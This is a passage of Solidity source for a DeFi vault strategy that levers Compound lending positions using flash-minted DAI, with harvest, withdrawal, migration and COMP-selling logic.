// changes to the value from triggering a harvest directly through user
// behavior. This should ensure reasonable resistance to manipulation
// from user-initiated withdrawals as the outstanding debt fluctuates.
uint256 outstanding = vault.debtOutstanding();
if (outstanding > debtThreshold) return true;
// Check for profits and losses
uint256 total = estimatedTotalAssets();
// Trigger if we have a loss to report
if (total.add(debtThreshold) < params.totalDebt) return true;
uint256 profit = 0;
if (total > params.totalDebt) profit = total.sub(params.totalDebt); // We've earned a profit!
// Otherwise, only trigger if it "makes sense" economically (gas cost
// is <N% of value moved)
uint256 credit = vault.creditAvailable();
return (profitFactor.mul(callCost) < credit.add(profit));
}
/**
* @notice
* Harvests the Strategy, recognizing any profits or losses and adjusting
* the Strategy's position.
*
* In the rare case the Strategy is in emergency shutdown, this will exit
* the Strategy's position.
*
* This may only be called by governance, the strategist, or the keeper.
* @dev
* When `harvest()` is called, the Strategy reports to the Vault (via
* `vault.report()`), so in some cases `harvest()` must be called in order
* to take in profits, to borrow newly available funds from the Vault, or
* otherwise adjust its position. In other cases `harvest()` must be
* called to report to the Vault on the Strategy's position, especially if
* any losses have occurred.
*/
function harvest() external onlyKeepers {
uint256 profit = 0;
uint256 loss = 0;
uint256 debtOutstanding = vault.debtOutstanding();
uint256 debtPayment = 0;
if (emergencyExit) {
// Free up as much capital as possible
uint256 amountFreed = liquidateAllPositions();
if (amountFreed < debtOutstanding) {
loss = debtOutstanding.sub(amountFreed);
} else if (amountFreed > debtOutstanding) {
profit = amountFreed.sub(debtOutstanding);
}
debtPayment = debtOutstanding.sub(loss);
} else {
// Free up returns for Vault to pull
(profit, loss, debtPayment) = prepareReturn(debtOutstanding);
}
// Allow Vault to take up to the "harvested" balance of this contract,
// which is the amount it has earned since the last time it reported to
// the Vault.
uint256 totalDebt = vault.strategies(address(this)).totalDebt;
debtOutstanding = vault.report(profit, loss, debtPayment);
// Check if free returns are left, and re-invest them
adjustPosition(debtOutstanding);
// call healthCheck contract
if (doHealthCheck && healthCheck != address(0)) {
require(HealthCheck(healthCheck).check(profit, loss, debtPayment, debtOutstanding, totalDebt), "!healthcheck");
} else {
doHealthCheck = true;
}
emit Harvested(profit, loss, debtPayment, debtOutstanding);
}
/**
* @notice
* Withdraws `_amountNeeded` to `vault`.
*
* This may only be called by the Vault.
* @param _amountNeeded How much `want` to withdraw.
* @return _loss Any realized losses
*/
function withdraw(uint256 _amountNeeded) external returns (uint256 _loss) {
require(msg.sender == address(vault), "!vault");
// Liquidate as much as possible to `want`, up to `_amountNeeded`
uint256 amountFreed;
(amountFreed, _loss) = liquidatePosition(_amountNeeded);
// Send it directly back (NOTE: Using `msg.sender` saves some gas here)
want.safeTransfer(msg.sender, amountFreed);
// NOTE: Reinvest anything leftover on next `tend`/`harvest`
}
/**
* Do anything necessary to prepare this Strategy for migration, such as
* transferring any reserve or LP tokens, CDPs, or other tokens or stores of
* value.
*/
function prepareMigration(address _newStrategy) internal virtual;
/**
* @notice
* Transfers all `want` from this Strategy to `_newStrategy`.
*
* This may only be called by the Vault.
* @dev
* The new Strategy's Vault must be the same as this Strategy's Vault.
* The migration process should be carefully performed to make sure all
* the assets are migrated to the new address, which should have never
* interacted with the vault before.
* @param _newStrategy The Strategy to migrate to.
*/
function migrate(address _newStrategy) external {
require(msg.sender == address(vault));
require(BaseStrategy(_newStrategy).vault() == vault);
prepareMigration(_newStrategy);
want.safeTransfer(_newStrategy, want.balanceOf(address(this)));
}
/**
* @notice
* Activates emergency exit. Once activated, the Strategy will exit its
* position upon the next harvest, depositing all funds into the Vault as
* quickly as is reasonable given on-chain conditions.
*
* This may only be called by governance or the strategist.
* @dev
* See `vault.setEmergencyShutdown()` and `harvest()` for further details.
*/
function setEmergencyExit() external onlyEmergencyAuthorized {
emergencyExit = true;
vault.revokeStrategy();
emit EmergencyExitEnabled();
}
/**
* Override this to add all tokens/tokenized positions this contract
* manages on a *persistent* basis (e.g. not just for swapping back to
* want ephemerally).
*
* NOTE: Do *not* include `want`, already included in `sweep` below.
*
* Example:
* ```
* function protectedTokens() internal override view returns (address[] memory) {
* address[] memory protected = new address[](3);
* protected[0] = tokenA;
* protected[1] = tokenB;
* protected[2] = tokenC;
* return protected;
* }
* ```
*/
function protectedTokens() internal view virtual returns (address[] memory);
/**
* @notice
* Removes tokens from this Strategy that are not the type of tokens
* managed by this Strategy. This may be used in case of accidentally
* sending the wrong kind of token to this Strategy.
*
* Tokens will be sent to `governance()`.
*
* This will fail if an attempt is made to sweep `want`, or any tokens
* that are protected by this Strategy.
*
* This may only be called by governance.
* @dev
* Implement `protectedTokens()` to specify any additional tokens that
* should be protected from sweeping in addition to `want`.
* @param _token The token to transfer out of this vault.
*/
function sweep(address _token) external onlyGovernance {
require(_token != address(want), "!want");
require(_token != address(vault), "!shares");
address[] memory _protectedTokens = protectedTokens();
for (uint256 i; i < _protectedTokens.length; i++) require(_token != _protectedTokens[i], "!protected");
IERC20(_token).safeTransfer(governance(), IERC20(_token).balanceOf(address(this)));
}
}
// Part: FlashMintLib
library FlashMintLib {
using SafeMath for uint256;
event Leverage(uint256 amountRequested, uint256 requiredDAI, bool deficit, address flashLoan);
uint256 private constant PRICE_DECIMALS = 1e6;
uint256 private constant DAI_DECIMALS = 1e18;
uint256 private constant COLLAT_DECIMALS = 1e18;
address public constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
address public constant CDAI = 0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643;
address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address private constant WBTC = 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599;
ComptrollerI private constant COMPTROLLER = ComptrollerI(0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B);
address public constant LENDER = 0x1EB4CF3A948E7D72A198fe073cCb8C7a948cD853;
bytes32 public constant CALLBACK_SUCCESS = keccak256("ERC3156FlashBorrower.onFlashLoan");
function doFlashMint(
bool deficit,
uint256 amountDesired,
address want,
uint256 collatRatioDAI
) public returns (uint256) {
if (amountDesired == 0) {
return 0;
}
// calculate amount of DAI we need
(uint256 requiredDAI, uint256 amountWant) = getFlashLoanParams(want, amountDesired, collatRatioDAI);
bytes memory data = abi.encode(deficit, amountWant);
uint256 _fee = IERC3156FlashLender(LENDER).flashFee(DAI, amountWant);
// Check that fees have not been increased without us knowing
require(_fee == 0);
uint256 _allowance = IERC20(DAI).allowance(address(this), address(LENDER));
if (_allowance < requiredDAI) {
IERC20(DAI).approve(address(LENDER), 0);
IERC20(DAI).approve(address(LENDER), type(uint256).max);
}
IERC3156FlashLender(LENDER).flashLoan(IERC3156FlashBorrower(address(this)), DAI, requiredDAI, data);
emit Leverage(amountDesired, requiredDAI, deficit, address(LENDER));
return amountWant;
}
function maxLiquidity() public view returns (uint256) {
return IERC3156FlashLender(LENDER).maxFlashLoan(DAI);
}
function getFlashLoanParams(
address want,
uint256 amountDesired,
uint256 collatRatioDAI
) internal returns (uint256 requiredDAI, uint256 amountWant) {
uint256 priceDAIWant;
uint256 decimalsDifference;
(priceDAIWant, decimalsDifference, requiredDAI) = getPriceDAIWant(want, amountDesired, collatRatioDAI);
amountWant = amountDesired;
// If the cap for flashminting is reduced, we may hit maximum. To avoid reverts in that case we handle the edge case
uint256 _maxFlashLoan = maxLiquidity();
if (requiredDAI > _maxFlashLoan) {
requiredDAI = _maxFlashLoan.mul(9800).div(10_000); // use 98% of total liquidity available
if (address(want) == address(DAI)) {
amountWant = requiredDAI;
} else {
amountWant = requiredDAI.mul(collatRatioDAI).mul(PRICE_DECIMALS).div(priceDAIWant).div(COLLAT_DECIMALS).div(decimalsDifference);
}
}
}
function getPriceDAIWant(
address want,
uint256 amountDesired,
uint256 collatRatioDAI
)
internal
returns (
uint256 priceDAIWant,
uint256 decimalsDifference,
uint256 requiredDAI
)
{
if (want == DAI) {
requiredDAI = amountDesired;
priceDAIWant = PRICE_DECIMALS; // 1:1
decimalsDifference = 1; // 10 ** 0
} else {
// NOTE: want decimals need to be <= 18. otherwise this will break
uint256 wantDecimals = 10**uint256(IERC20Extended(want).decimals());
decimalsDifference = DAI_DECIMALS.div(wantDecimals);
priceDAIWant = getOraclePrice(DAI).mul(PRICE_DECIMALS).div(getOraclePrice(want));
// requiredDAI = desiredWantInDAI / COLLAT_RATIO_DAI
// desiredWantInDAI = (desiredWant / priceDAIWant)
// NOTE: decimals need adjustment (e.g. BTC: 8 / ETH: 18)
requiredDAI = amountDesired.mul(PRICE_DECIMALS).mul(COLLAT_DECIMALS).mul(decimalsDifference).div(priceDAIWant).div(collatRatioDAI);
}
}
function getOraclePrice(address token) internal returns (uint256) {
string memory symbol;
// Symbol for WBTC is BTC in oracle
if (token == WBTC) {
symbol = "BTC";
} else if (token == WETH) {
symbol = "ETH";
} else {
symbol = IERC20Extended(token).symbol();
}
IUniswapAnchoredView oracle = IUniswapAnchoredView(COMPTROLLER.oracle());
return oracle.price(symbol);
}
function loanLogic(
bool deficit,
uint256 amountDAI,
uint256 amount,
CErc20I cToken
) public returns (bytes32) {
// if want is not DAI, we provide flashminted DAI to borrow want and be able to lever up/down
// if want is DAI, we use it directly to lever up/down
bool isDai;
// We check if cToken is DAI to save a couple of unnecessary calls
if (address(cToken) == address(CDAI)) {
isDai = true;
require(amountDAI == amount, "!amounts");
}
uint256 daiBal = IERC20(DAI).balanceOf(address(this));
if (deficit) {
if (!isDai) {
require(CErc20I(CDAI).mint(daiBal) == 0, "!mint_flash");
require(cToken.redeemUnderlying(amount) == 0, "!redeem_down");
}
//if in deficit we repay amount and then withdraw
require(cToken.repayBorrow(amount) == 0, "!repay_down");
require(CErc20I(CDAI).redeemUnderlying(amountDAI) == 0, "!redeem");
} else {
// if levering up borrow and deposit
require(CErc20I(CDAI).mint(daiBal) == 0, "!mint_flash");
require(cToken.borrow(amount) == 0, "!borrow_up");
if (!isDai) {
require(cToken.mint(amount) == 0, "!mint_up");
require(CErc20I(CDAI).redeemUnderlying(amountDAI) == 0, "!redeem");
}
}
return CALLBACK_SUCCESS;
}
}
// Part: Strategy
contract Strategy is BaseStrategy, IERC3156FlashBorrower {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
// @notice emitted when trying to do Flash Loan. flashLoan address is 0x00 when no flash loan used
event Leverage(uint256 amountRequested, uint256 amountGiven, bool deficit, address flashLoan);
// Comptroller address for compound.finance
ComptrollerI private constant compound = ComptrollerI(0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B);
//Only three tokens we use
address private constant comp = 0xc00e94Cb662C3520282E6f5717214004A7f26888;
address private constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
CErc20I public cToken;
bool public useUniV3;
// fee pool to use in UniV3 in basis points(default: 0.3% = 3000)
uint24 public compToWethSwapFee;
uint24 public wethToWantSwapFee;
IUniswapV2Router02 public currentV2Router;
IUniswapV2Router02 private constant UNI_V2_ROUTER = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
IUniswapV2Router02 private constant SUSHI_V2_ROUTER = IUniswapV2Router02(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F);
IUniswapV3Router private constant UNI_V3_ROUTER = IUniswapV3Router(0xE592427A0AEce92De3Edee1F18E0157C05861564);
uint256 public collatRatioDAI;
uint256 public collateralTarget; // total borrow / total supply ratio we are targeting (100% = 1e18)
uint256 private blocksToLiquidationDangerZone; // minimum number of blocks before liquidation
uint256 public minWant; // minimum amount of want to act on
// Rewards handling
bool public dontClaimComp; // enable/disables COMP claiming
uint256 public minCompToSell; // minimum amount of COMP to be sold
bool public flashMintActive; // To deactivate flash loan provider if needed
bool public forceMigrate;
bool public fourThreeProtection;
constructor(address _vault, address _cToken) public BaseStrategy(_vault) {
_initializeThis(_cToken);
}
function approveTokenMax(address token, address spender) internal {
IERC20(token).safeApprove(spender, type(uint256).max);
}
function name() external view override returns (string memory) {
return "GenLevCompV3";
}
function initialize(address _vault, address _cToken) external {
_initialize(_vault, msg.sender, msg.sender, msg.sender);
_initializeThis(_cToken);
}
function _initializeThis(address _cToken) internal {
cToken = CErc20I(address(_cToken));
require(IERC20Extended(address(want)).decimals() <= 18); // dev: want not supported
currentV2Router = SUSHI_V2_ROUTER;
//pre-set approvals
approveTokenMax(comp, address(UNI_V2_ROUTER));
approveTokenMax(comp, address(SUSHI_V2_ROUTER));
approveTokenMax(comp, address(UNI_V3_ROUTER));
approveTokenMax(address(want), address(cToken));
approveTokenMax(FlashMintLib.DAI, address(FlashMintLib.LENDER));
// Enter Compound's DAI market to take it into account when using flashminted DAI as collateral
address[] memory markets;
if (address(cToken) != address(FlashMintLib.CDAI)) {
markets = new address[](2);
markets[0] = address(FlashMintLib.CDAI);
markets[1] = address(cToken);
// Only approve this if want != DAI, otherwise will fail
approveTokenMax(FlashMintLib.DAI, address(FlashMintLib.CDAI));
} else {
markets = new address[](1);
markets[0] = address(FlashMintLib.CDAI);
}
compound.enterMarkets(markets);
//comp speed is amount to borrow or deposit (so half the total distribution for want)
compToWethSwapFee = 3000;
wethToWantSwapFee = 3000;
// You can set these parameters on deployment to whatever you want
maxReportDelay = 86400; // once per 24 hours
profitFactor = 100; // multiple before triggering harvest
debtThreshold = 1e30;
// set minWant to 1e-3 want
minWant = uint256(uint256(10)**uint256((IERC20Extended(address(want))).decimals())).div(1000);
minCompToSell = 0.1 ether;
collateralTarget = 0.63 ether;
collatRatioDAI = 0.73 ether;
blocksToLiquidationDangerZone = 46500;
flashMintActive = true;
}
/*
* Control Functions
*/
function setFourThreeProtection(bool _fourThreeProtection) external management {
fourThreeProtection = _fourThreeProtection;
}
function setUniV3PathFees(uint24 _compToWethSwapFee, uint24 _wethToWantSwapFee) external management {
compToWethSwapFee = _compToWethSwapFee;
wethToWantSwapFee = _wethToWantSwapFee;
}
function setDontClaimComp(bool _dontClaimComp) external management {
dontClaimComp = _dontClaimComp;
}
function setUseUniV3(bool _useUniV3) external management {
useUniV3 = _useUniV3;
}
function setToggleV2Router() external management {
currentV2Router = currentV2Router == SUSHI_V2_ROUTER ? UNI_V2_ROUTER : SUSHI_V2_ROUTER;
}
function setFlashMintActive(bool _flashMintActive) external management {
flashMintActive = _flashMintActive;
}
function setForceMigrate(bool _force) external onlyGovernance {
forceMigrate = _force;
}
function setMinCompToSell(uint256 _minCompToSell) external management {
minCompToSell = _minCompToSell;
}
function setMinWant(uint256 _minWant) external management {
minWant = _minWant;
}
function setCollateralTarget(uint256 _collateralTarget) external management {
(, uint256 collateralFactorMantissa, ) = compound.markets(address(cToken));
require(collateralFactorMantissa > _collateralTarget);
collateralTarget = _collateralTarget;
}
function setCollatRatioDAI(uint256 _collatRatioDAI) external management {
collatRatioDAI = _collatRatioDAI;
}
/*
* Base External Facing Functions
*/
/*
* An accurate estimate for the total amount of assets (principle + return)
* that this strategy is currently managing, denominated in terms of want tokens.
*/
function estimatedTotalAssets() public view override returns (uint256) {
(uint256 deposits, uint256 borrows) = getCurrentPosition();
uint256 _claimableComp = predictCompAccrued();
uint256 currentComp = balanceOfToken(comp);
// Use touch price. it doesnt matter if we are wrong as this is not used for decision making
uint256 estimatedWant = priceCheck(comp, address(want), _claimableComp.add(currentComp));
uint256 conservativeWant = estimatedWant.mul(9).div(10); //10% pessimist
return balanceOfToken(address(want)).add(deposits).add(conservativeWant).sub(borrows);
}
function balanceOfToken(address token) internal view returns (uint256) {
return IERC20(token).balanceOf(address(this));
}
//predicts our profit at next report
function expectedReturn() public view returns (uint256) {
uint256 estimateAssets = estimatedTotalAssets();
uint256 debt = vault.strategies(address(this)).totalDebt;
if (debt > estimateAssets) {
return 0;
} else {
return estimateAssets.sub(debt);
}
}
/*
* Provide a signal to the keeper that `tend()` should be called.
* (keepers are always reimbursed by yEarn)
*
* NOTE: this call and `harvestTrigger` should never return `true` at the same time.
* tendTrigger should be called with same gasCost as harvestTrigger
*/
function tendTrigger(uint256 gasCost) public view override returns (bool) {
if (harvestTrigger(gasCost)) {
//harvest takes priority
return false;
}
return getblocksUntilLiquidation() <= blocksToLiquidationDangerZone;
}
//WARNING. manipulatable and simple routing. Only use for safe functions
function priceCheck(
address start,
address end,
uint256 _amount
) public view returns (uint256) {
if (_amount == 0) {
return 0;
}
uint256[] memory amounts = currentV2Router.getAmountsOut(_amount, getTokenOutPathV2(start, end));
return amounts[amounts.length - 1];
}
/*****************
* Public non-base function
******************/
//Calculate how many blocks until we are in liquidation based on current interest rates
//WARNING does not include compounding so the estimate becomes more innacurate the further ahead we look
//equation. Compound doesn't include compounding for most blocks
//((deposits*colateralThreshold - borrows) / (borrows*borrowrate - deposits*colateralThreshold*interestrate));
function getblocksUntilLiquidation() public view returns (uint256) {
(, uint256 collateralFactorMantissa, ) = compound.markets(address(cToken));
(uint256 deposits, uint256 borrows) = getCurrentPosition();
uint256 borrrowRate = cToken.borrowRatePerBlock();
uint256 supplyRate = cToken.supplyRatePerBlock();
uint256 collateralisedDeposit1 = deposits.mul(collateralFactorMantissa).div(1e18);
uint256 collateralisedDeposit = collateralisedDeposit1;
uint256 denom1 = borrows.mul(borrrowRate);
uint256 denom2 = collateralisedDeposit.mul(supplyRate);
if (denom2 >= denom1) {
return type(uint256).max;
} else {
uint256 numer = collateralisedDeposit.sub(borrows);
uint256 denom = denom1.sub(denom2);
//minus 1 for this block
return numer.mul(1e18).div(denom);
}
}
// This function makes a prediction on how much comp is accrued
// It is not 100% accurate as it uses current balances in Compound to predict into the past
function predictCompAccrued() public view returns (uint256) {
(uint256 deposits, uint256 borrows) = getCurrentPosition();
if (deposits == 0) {
return 0; // should be impossible to have 0 balance and positive comp accrued
}
uint256 distributionPerBlockSupply = compound.compSupplySpeeds(address(cToken));
uint256 distributionPerBlockBorrow = compound.compBorrowSpeeds(address(cToken));
uint256 totalBorrow = cToken.totalBorrows();
//total supply needs to be echanged to underlying using exchange rate
uint256 totalSupplyCtoken = cToken.totalSupply();
uint256 totalSupply = totalSupplyCtoken.mul(cToken.exchangeRateStored()).div(1e18);
uint256 blockShareSupply = 0;
if (totalSupply > 0) {
blockShareSupply = deposits.mul(distributionPerBlockSupply).div(totalSupply);
}
uint256 blockShareBorrow = 0;
if (totalBorrow > 0) {
blockShareBorrow = borrows.mul(distributionPerBlockBorrow).div(totalBorrow);
}
//how much we expect to earn per block
uint256 blockShare = blockShareSupply.add(blockShareBorrow);
//last time we ran harvest
uint256 lastReport = vault.strategies(address(this)).lastReport;
uint256 blocksSinceLast = (block.timestamp.sub(lastReport)).div(13); //roughly 13 seconds per block
return blocksSinceLast.mul(blockShare);
}
//Returns the current position
//WARNING - this returns just the balance at last time someone touched the cToken token. Does not accrue interst in between
//cToken is very active so not normally an issue.
function getCurrentPosition() public view returns (uint256 deposits, uint256 borrows) {
(, uint256 ctokenBalance, uint256 borrowBalance, uint256 exchangeRate) = cToken.getAccountSnapshot(address(this));
borrows = borrowBalance;
deposits = ctokenBalance.mul(exchangeRate).div(1e18);
}
//statechanging version
function getLivePosition() public returns (uint256 deposits, uint256 borrows) {
deposits = cToken.balanceOfUnderlying(address(this));
//we can use non state changing now because we updated state with balanceOfUnderlying call
borrows = cToken.borrowBalanceStored(address(this));
}
//Same warning as above
function netBalanceLent() public view returns (uint256) {
(uint256 deposits, uint256 borrows) = getCurrentPosition();
return deposits.sub(borrows);
}
/***********
* internal core logic
*********** */
/*
* A core method.
* Called at beggining of harvest before providing report to owner
* 1 - claim accrued comp
* 2 - if enough to be worth it we sell
* 3 - because we lose money on our loans we need to offset profit from comp.
*/
function prepareReturn(uint256 _debtOutstanding)
internal
override
returns (
uint256 _profit,
uint256 _loss,
uint256 _debtPayment
)
{
_profit = 0;
_loss = 0; // for clarity. also reduces bytesize
if (balanceOfToken(address(cToken)) == 0) {
uint256 wantBalance = balanceOfToken(address(want));
//no position to harvest
//but we may have some debt to return
//it is too expensive to free more debt in this method so we do it in adjust position
_debtPayment = Math.min(wantBalance, _debtOutstanding);
return (_profit, _loss, _debtPayment);
}
(uint256 deposits, uint256 borrows) = getLivePosition();
//claim comp accrued
_claimComp();
//sell comp
_disposeOfComp();
uint256 wantBalance = balanceOfToken(address(want));
uint256 investedBalance = deposits.sub(borrows);
uint256 balance = investedBalance.add(wantBalance);
uint256 debt = vault.strategies(address(this)).totalDebt;
//Balance - Total Debt is profit
if (balance > debt) {
_profit = balance.sub(debt);
if (wantBalance < _profit) {
//all reserve is profit
_profit = wantBalance;
} else if (wantBalance > _profit.add(_debtOutstanding)) {
_debtPayment = _debtOutstanding;
} else {
_debtPayment = wantBalance.sub(_profit);
}
} else {
//we will lose money until we claim comp then we will make money
//this has an unintended side effect of slowly lowering our total debt allowed
_loss = debt.sub(balance);
_debtPayment = Math.min(wantBalance, _debtOutstanding);
}
}
/*
* Second core function. Happens after report call.
*
* Similar to deposit function from V1 strategy
*/
function adjustPosition(uint256 _debtOutstanding) internal override {
//emergency exit is dealt with in prepareReturn
if (emergencyExit) {
return;
}
//we are spending all our cash unless we have debt outstanding
uint256 _wantBal = balanceOfToken(address(want));
if (_wantBal < _debtOutstanding) {
//this is graceful withdrawal. dont use backup
//we use more than 1 because withdrawunderlying causes problems with 1 token due to different decimals
if (balanceOfToken(address(cToken)) > 1) {
_withdrawSome(_debtOutstanding.sub(_wantBal));
}
return;
}
(uint256 position, bool deficit) = _calculateDesiredPosition(_wantBal.sub(_debtOutstanding), true);
//if we are below minimun want change it is not worth doing
//need to be careful in case this pushes to liquidation
if (position > minWant) {
//if flashloan is not active we just try our best with basic leverage
if (!flashMintActive) {
uint256 i = 0;
while (position > 0) {
position = position.sub(_noFlashLoan(position, deficit));
if (i >= 6) {
break;
}
i++;
}
} else {
//if there is huge position to improve we want to do normal leverage. it is quicker
if (position > FlashMintLib.maxLiquidity()) {
position = position.sub(_noFlashLoan(position, deficit));
}
//flash loan to position
if (position > minWant) {
doFlashMint(deficit, position);
}
}
}
}
/*************
* Very important function
* Input: amount we want to withdraw and whether we are happy to pay extra for Aave.
* cannot be more than we have
* Returns amount we were able to withdraw. notall if user has some balance left
*
* Deleverage position -> redeem our cTokens
******************** */
function _withdrawSome(uint256 _amount) internal returns (bool notAll) {
(uint256 position, bool deficit) = _calculateDesiredPosition(_amount, false);
//If there is no deficit we dont need to adjust position
//if the position change is tiny do nothing
if (deficit && position > minWant) {
//we do a flash loan to give us a big gap. from here on out it is cheaper to use normal deleverage. Use Aave for extremely large loans
if (flashMintActive) {
position = position.sub(doFlashMint(deficit, position));
}
uint8 i = 0;
//position will equal 0 unless we haven't been able to deleverage enough with flash loan
//if we are not in deficit we dont need to do flash loan
while (position > minWant.add(100)) {
position = position.sub(_noFlashLoan(position, true));
i++;
//A limit set so we don't run out of gas
if (i >= 5) {
notAll = true;
break;
}
}
}
//now withdraw
//if we want too much we just take max
//This part makes sure our withdrawal does not force us into liquidation
(uint256 depositBalance, uint256 borrowBalance) = getCurrentPosition();
uint256 tempColla = collateralTarget;
uint256 reservedAmount = 0;
if (tempColla == 0) {
tempColla = 1e15; // 0.001 * 1e18. lower we have issues
}
reservedAmount = borrowBalance.mul(1e18).div(tempColla);
if (depositBalance >= reservedAmount) {
uint256 redeemable = depositBalance.sub(reservedAmount);
uint256 balan = cToken.balanceOf(address(this));
if (balan > 1) {
if (redeemable < _amount) {
cToken.redeemUnderlying(redeemable);
} else {
cToken.redeemUnderlying(_amount);
}
}
}
if (collateralTarget == 0 && balanceOfToken(address(want)) > borrowBalance) {
cToken.repayBorrow(borrowBalance);
}
}
/***********
* This is the main logic for calculating how to change our lends and borrows
* Input: balance. The net amount we are going to deposit/withdraw.
* Input: dep. Is it a deposit or withdrawal
* Output: position. The amount we want to change our current borrow position.
* Output: deficit. True if we are reducing position size
*
* For instance deficit =false, position 100 means increase borrowed balance by 100
****** */
function _calculateDesiredPosition(uint256 balance, bool dep) internal returns (uint256 position, bool deficit) {
//we want to use statechanging for safety
(uint256 deposits, uint256 borrows) = getLivePosition();
//When we unwind we end up with the difference between borrow and supply
uint256 unwoundDeposit = deposits.sub(borrows);
//we want to see how close to collateral target we are.
//So we take our unwound deposits and add or remove the balance we are are adding/removing.
//This gives us our desired future undwoundDeposit (desired supply)
uint256 desiredSupply = 0;
if (dep) {
desiredSupply = unwoundDeposit.add(balance);
} else {
if (balance > unwoundDeposit) {
balance = unwoundDeposit;
}
desiredSupply = unwoundDeposit.sub(balance);
}
//(ds *c)/(1-c)
uint256 num = desiredSupply.mul(collateralTarget);
uint256 den = uint256(1e18).sub(collateralTarget);
uint256 desiredBorrow = num.div(den);
if (desiredBorrow > 1e5) {
//stop us going right up to the wire
desiredBorrow = desiredBorrow.sub(1e5);
}
//now we see if we want to add or remove balance
// if the desired borrow is less than our current borrow we are in deficit. so we want to reduce position
if (desiredBorrow < borrows) {
deficit = true;
position = borrows.sub(desiredBorrow); //safemath check done in if statement
} else {
//otherwise we want to increase position
deficit = false;
position = desiredBorrow.sub(borrows);
}
}
/*
* Liquidate as many assets as possible to `want`, irregardless of slippage,
* up to `_amount`. Any excess should be re-invested here as well.
*/
function liquidatePosition(uint256 _amountNeeded) internal override returns (uint256 _amountFreed, uint256 _loss) {
uint256 _balance = balanceOfToken(address(want));
uint256 assets = netBalanceLent().add(_balance);
uint256 debtOutstanding = vault.debtOutstanding();
if (debtOutstanding > assets) {
_loss = debtOutstanding.sub(assets);
}
(uint256 deposits, uint256 borrows) = getLivePosition();
if (assets < _amountNeeded) {
//if we cant afford to withdraw we take all we can
//withdraw all we can
//1 token causes rounding error with withdrawUnderlying
if (balanceOfToken(address(cToken)) > 1) {
_withdrawSome(deposits.sub(borrows));
}
_amountFreed = Math.min(_amountNeeded, balanceOfToken(address(want)));
} else {
if (_balance < _amountNeeded) {
_withdrawSome(_amountNeeded.sub(_balance));
//overflow error if we return more than asked for
_amountFreed = Math.min(_amountNeeded, balanceOfToken(address(want)));
} else {
_amountFreed = _amountNeeded;
}
}
// To prevent the vault from moving on to the next strategy in the queue
// when we return the amountRequested minus dust, take a dust sized loss
if (_amountFreed < _amountNeeded) {
uint256 diff = _amountNeeded.sub(_amountFreed);
if (diff <= minWant) {
_loss = diff;
}
}
if (fourThreeProtection) {
require(_amountNeeded == _amountFreed.add(_loss)); // dev: fourThreeProtection
}
}
function _claimComp() internal {
if (dontClaimComp) {
return;
}
CTokenI[] memory tokens = new CTokenI[](1);
tokens[0] = cToken;
compound.claimComp(address(this), tokens);
}
//sell comp function
function _disposeOfComp() internal {
uint256 _comp = balanceOfToken(comp);
if (_comp < minCompToSell) {
return;
}
if (useUniV3) {
UNI_V3_ROUTER.exactInput(IUniswapV3Router.ExactInputParams(getTokenOutPathV3(comp, address(want)), address(this), now, _comp, 0));
} else {
currentV2Router.swapExactTokensForTokens(_comp, 0, getTokenOutPathV2(comp, address(want)), address(this), now);
}
}
function getTokenOutPathV2(address _tokenIn, address _tokenOut) internal pure returns (address[] memory _path) {
bool isWeth = _tokenIn == address(weth) || _tokenOut == address(weth);
_path = new address[](isWeth ? 2 : 3);
_path[0] = _tokenIn;
if (isWeth) {
_path[1] = _tokenOut;
} else {
_path[1] = address(weth);
_path[2] = _tokenOut;
}
}
function getTokenOutPathV3(address _tokenIn, address _tokenOut) internal view returns (bytes memory _path) {
if (address(want) == weth) {
_path = abi.encodePacked(address(_tokenIn), compToWethSwapFee, address(weth));
} else {
_path = abi.encodePacked(address(_tokenIn), compToWethSwapFee, address(weth), wethToWantSwapFee, address(_tokenOut));
}
}
//lets leave
//if we can't deleverage in one go set collateralFactor to 0 and call harvest multiple times until delevered
function prepareMigration(address _newStrategy) internal override {
if (!forceMigrate) {
(uint256 deposits, uint256 borrows) = getLivePosition();
_withdrawSome(deposits.sub(borrows));
(, , uint256 borrowBalance, ) = cToken.getAccountSnapshot(address(this));
require(borrowBalance < 10_000);
IERC20 _comp = IERC20(comp);
uint256 _compB = balanceOfToken(address(_comp));
if (_compB > 0) {
_comp.safeTransfer(_newStrategy, _compB);
}
}
}
//Three functions covering normal leverage and deleverage situations
// max is the max amount we want to increase our borrowed balance
// returns the amount we actually did
function _noFlashLoan(uint256 max, bool deficit) internal returns (uint256 amount) {
//we can use non-state changing because this function is always called after _calculateDesiredPosition
(uint256 lent, uint256 borrowed) = getCurrentPosition();
//if we have nothing borrowed then we can't deleverage any more
if (borrowed == 0 && deficit) {
return 0;
}
(, uint256 collateralFactorMantissa, ) = compound.markets(address(cToken));
if (deficit) {
amount = _normalDeleverage(max, lent, borrowed, collateralFactorMantissa);
} else {
amount = _normalLeverage(max, lent, borrowed, collateralFactorMantissa);
}
emit Leverage(max, amount, deficit, address(0));
}
//maxDeleverage is how much we want to reduce by
function _normalDeleverage(
uint256 maxDeleverage,
uint256 lent,
uint256 borrowed,
uint256 collatRatio
) internal returns (uint256 deleveragedAmount) {
uint256 theoreticalLent = 0;
//collat ration should never be 0. if it is something is very wrong... but just incase
if (collatRatio != 0) {
theoreticalLent = borrowed.mul(1e18).div(collatRatio);
}
deleveragedAmount = lent.sub(theoreticalLent);
if (deleveragedAmount >= borrowed) {
deleveragedAmount = borrowed;
}
if (deleveragedAmount >= maxDeleverage) {
deleveragedAmount = maxDeleverage;
}
uint256 exchangeRateStored = cToken.exchangeRateStored();
//redeemTokens = redeemAmountIn * 1e18 / exchangeRate. must be more than 0
//a rounding error means we need another small addition
if (deleveragedAmount.mul(1e18) >= exchangeRateStored && deleveragedAmount > 10) {
deleveragedAmount = deleveragedAmount.sub(uint256(10));
cToken.redeemUnderlying(deleveragedAmount);
//our borrow has been increased by no more than maxDeleverage
cToken.repayBorrow(deleveragedAmount);
}
}
//maxDeleverage is how much we want to increase by
function _normalLeverage(
uint256 maxLeverage,
uint256 lent,
uint256 borrowed,
